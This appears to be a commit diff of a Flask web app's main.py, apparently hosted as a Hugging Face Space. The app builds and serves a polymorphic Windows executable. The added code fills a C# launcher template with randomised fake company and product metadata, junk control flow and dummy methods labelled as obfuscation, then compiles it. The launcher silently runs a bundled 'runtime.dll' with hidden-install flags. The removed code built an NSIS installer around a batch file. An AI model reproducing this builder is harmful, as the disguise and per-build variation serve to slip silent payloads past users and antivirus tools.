Spaces:
Sleeping
Sleeping
Update main.py
Browse files
main.py
CHANGED
@@ -1,122 +1,156 @@
|
|
1 |
-
from flask import Flask, request, send_file, render_template_string
|
2 |
import os
|
|
|
|
|
3 |
import subprocess
|
|
|
4 |
|
5 |
app = Flask(__name__)
|
6 |
-
|
7 |
-
|
8 |
-
|
9 |
-
|
10 |
-
|
11 |
-
|
12 |
-
|
13 |
-
|
14 |
-
|
15 |
-
|
16 |
-
|
17 |
-
|
18 |
-
|
19 |
-
|
20 |
-
|
21 |
-
|
22 |
-
|
23 |
-
|
24 |
-
|
25 |
-
|
26 |
-
|
27 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
28 |
"""
|
29 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
30 |
@app.route('/')
|
31 |
def index():
|
32 |
-
|
33 |
-
|
34 |
-
|
35 |
-
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
|
40 |
-
|
41 |
-
|
42 |
-
|
43 |
-
|
44 |
-
|
45 |
-
|
46 |
-
|
47 |
-
|
48 |
-
|
49 |
-
|
50 |
-
|
51 |
-
|
52 |
-
|
53 |
-
|
54 |
-
|
55 |
-
|
56 |
-
|
57 |
-
|
58 |
-
|
59 |
-
|
60 |
-
|
61 |
-
|
62 |
-
|
63 |
-
|
64 |
-
|
65 |
-
|
66 |
-
|
67 |
-
|
68 |
-
|
69 |
-
|
70 |
-
|
71 |
-
|
72 |
-
|
73 |
-
|
74 |
-
|
75 |
-
|
76 |
-
|
77 |
-
|
78 |
-
|
79 |
-
|
80 |
-
|
81 |
-
|
82 |
-
#
|
83 |
-
|
84 |
-
|
85 |
-
|
86 |
-
|
87 |
-
|
88 |
-
|
89 |
-
|
90 |
-
|
91 |
-
#
|
92 |
-
|
93 |
-
|
94 |
-
|
95 |
-
# Files to install using the full path
|
96 |
-
File "{full_bat_path}"
|
97 |
-
|
98 |
-
SectionEnd
|
99 |
-
"""
|
100 |
-
|
101 |
-
nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
|
102 |
-
with open(nsi_path, 'w') as nsi_file:
|
103 |
-
nsi_file.write(nsi_script)
|
104 |
-
|
105 |
-
# Debugging: Print the NSIS script path
|
106 |
-
print(f"NSIS script written to: {nsi_path}")
|
107 |
-
|
108 |
-
# Compile the NSIS script
|
109 |
-
try:
|
110 |
-
result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True)
|
111 |
-
return f"Compilation successful! Download here: <a href='/download/bont.exe'>bont.exe</a>", 200
|
112 |
-
except subprocess.CalledProcessError as e:
|
113 |
-
return f"Compilation failed: {e.stderr}", 400
|
114 |
-
|
115 |
-
@app.route('/download/<filename>')
|
116 |
-
def download_file(filename):
|
117 |
-
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True)
|
118 |
-
|
119 |
if __name__ == '__main__':
|
120 |
-
|
121 |
-
os.makedirs(UPLOAD_FOLDER)
|
122 |
-
app.run(host='0.0.0.0', port=7860)
|
|
|
|
|
1 |
import os
|
2 |
+
import random
|
3 |
+
import string
|
4 |
import subprocess
|
5 |
+
from flask import Flask, render_template_string, send_file
|
6 |
|
7 |
app = Flask(__name__)
|
8 |
+
|
9 |
+
# Step 1: Define the base C# template without AssemblyCulture
|
10 |
+
base_cs_template = """
|
11 |
+
using System;
|
12 |
+
using System.Diagnostics;
|
13 |
+
using System.IO;
|
14 |
+
using System.Reflection;
|
15 |
+
|
16 |
+
[assembly: AssemblyTitle("<<title>>")]
|
17 |
+
[assembly: AssemblyDescription("<<description>>")]
|
18 |
+
[assembly: AssemblyConfiguration("<<configuration>>")]
|
19 |
+
[assembly: AssemblyCompany("<<company>>")]
|
20 |
+
[assembly: AssemblyProduct("<<product>>")]
|
21 |
+
[assembly: AssemblyCopyright("<<copyright>>")]
|
22 |
+
[assembly: AssemblyTrademark("<<trademark>>")]
|
23 |
+
[assembly: AssemblyVersion("<<version>>")]
|
24 |
+
[assembly: AssemblyFileVersion("<<file_version>>")]
|
25 |
+
[assembly: AssemblyInformationalVersion("<<informational_version>>")]
|
26 |
+
|
27 |
+
class Program
|
28 |
+
{
|
29 |
+
static void Main()
|
30 |
+
{
|
31 |
+
string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll");
|
32 |
+
|
33 |
+
if (File.Exists(originalFilePath))
|
34 |
+
{
|
35 |
+
<<control_flow_junk>>
|
36 |
+
Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false });
|
37 |
+
<<additional_obfuscated_code>>
|
38 |
+
Environment.Exit(0); // Exit immediately
|
39 |
+
}
|
40 |
+
}
|
41 |
+
|
42 |
+
<<obfuscated_methods>>
|
43 |
+
}
|
44 |
"""
|
45 |
|
46 |
+
# Utility functions to generate random text and versions
|
47 |
+
def random_string(length):
|
48 |
+
return ''.join(random.choice(string.ascii_letters) for _ in range(length))
|
49 |
+
|
50 |
+
def random_version():
|
51 |
+
major = random.randint(1, 5)
|
52 |
+
minor = random.randint(0, 9)
|
53 |
+
build = random.randint(0, 99)
|
54 |
+
revision = random.randint(0, 99)
|
55 |
+
return f"{major}.{minor}.{build}.{revision}"
|
56 |
+
|
57 |
+
# Lists of meaningful words for assembly info
|
58 |
+
titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter']
|
59 |
+
descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.']
|
60 |
+
companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies']
|
61 |
+
trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design']
|
62 |
+
|
63 |
+
def generate_control_flow_junk():
|
64 |
+
conditions = [
|
65 |
+
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
|
66 |
+
"for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
|
67 |
+
"if (false) { Console.WriteLine(\"This will never happen\"); }",
|
68 |
+
"while (false) { break; }"
|
69 |
+
]
|
70 |
+
return random.choice(conditions)
|
71 |
+
|
72 |
+
def generate_obfuscated_methods():
|
73 |
+
methods = [
|
74 |
+
f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
|
75 |
+
f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
|
76 |
+
f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
|
77 |
+
f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
|
78 |
+
]
|
79 |
+
return "\n ".join(random.sample(methods, k=2))
|
80 |
+
|
81 |
+
def generate_additional_obfuscated_code():
|
82 |
+
snippets = [
|
83 |
+
"#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219",
|
84 |
+
"string dummy = \"abc\";",
|
85 |
+
"Console.WriteLine(\"Executing...\");"
|
86 |
+
]
|
87 |
+
return random.choice(snippets)
|
88 |
+
|
89 |
+
# Route to display the button and trigger C# script generation
|
90 |
@app.route('/')
|
91 |
def index():
|
92 |
+
# HTML embedded directly in the app using render_template_string
|
93 |
+
html_content = """
|
94 |
+
<!DOCTYPE html>
|
95 |
+
<html lang="en">
|
96 |
+
<head>
|
97 |
+
<meta charset="UTF-8">
|
98 |
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
99 |
+
<title>Script Generator</title>
|
100 |
+
</head>
|
101 |
+
<body>
|
102 |
+
<h1>Generate and Compile C# Script</h1>
|
103 |
+
<form action="/generate" method="post">
|
104 |
+
<button type="submit">Generate & Compile</button>
|
105 |
+
</form>
|
106 |
+
</body>
|
107 |
+
</html>
|
108 |
+
"""
|
109 |
+
return render_template_string(html_content)
|
110 |
+
|
111 |
+
@app.route('/generate', methods=['POST'])
|
112 |
+
def generate_script():
|
113 |
+
# Step 7: Generate the randomized assembly information using meaningful words
|
114 |
+
assembly_info = {
|
115 |
+
'title': random.choice(titles),
|
116 |
+
'description': random.choice(descriptions),
|
117 |
+
'configuration': '', # Can leave empty
|
118 |
+
'company': random.choice(companies),
|
119 |
+
'product': "MyProduct",
|
120 |
+
'copyright': f"Copyright © {random.choice(companies)} 2024",
|
121 |
+
'trademark': random.choice(trademarks),
|
122 |
+
'version': random_version(),
|
123 |
+
'file_version': random_version(),
|
124 |
+
'informational_version': random_version()
|
125 |
+
}
|
126 |
+
|
127 |
+
# Step 8: Replace placeholders in the base template
|
128 |
+
modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
|
129 |
+
.replace('<<description>>', assembly_info['description']) \
|
130 |
+
.replace('<<configuration>>', assembly_info['configuration']) \
|
131 |
+
.replace('<<company>>', assembly_info['company']) \
|
132 |
+
.replace('<<product>>', assembly_info['product']) \
|
133 |
+
.replace('<<copyright>>', assembly_info['copyright']) \
|
134 |
+
.replace('<<trademark>>', assembly_info['trademark']) \
|
135 |
+
.replace('<<version>>', assembly_info['version']) \
|
136 |
+
.replace('<<file_version>>', assembly_info['file_version']) \
|
137 |
+
.replace('<<informational_version>>', assembly_info['informational_version']) \
|
138 |
+
.replace('<<control_flow_junk>>', generate_control_flow_junk()) \
|
139 |
+
.replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
|
140 |
+
.replace('<<obfuscated_methods>>', generate_obfuscated_methods())
|
141 |
+
|
142 |
+
# Save the modified C# script to a file
|
143 |
+
script_path = 'polymorphic_program.cs'
|
144 |
+
with open(script_path, 'w') as file:
|
145 |
+
file.write(modified_cs)
|
146 |
+
|
147 |
+
# Step 10: Compile the C# script using csc
|
148 |
+
compile_command = f'csc /target:winexe /platform:x64 /out:run.exe {script_path} /win32icon:app.ico /win32manifest:app.manifest'
|
149 |
+
subprocess.run(compile_command, shell=False, check=False)
|
150 |
+
|
151 |
+
# Provide a link to download the compiled executable
|
152 |
+
return send_file('run.exe', as_attachment=True)
|
153 |
+
|
154 |
+
# Start the Flask app
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
155 |
if __name__ == '__main__':
|
156 |
+
app.run(debug=True)
|
|
|
|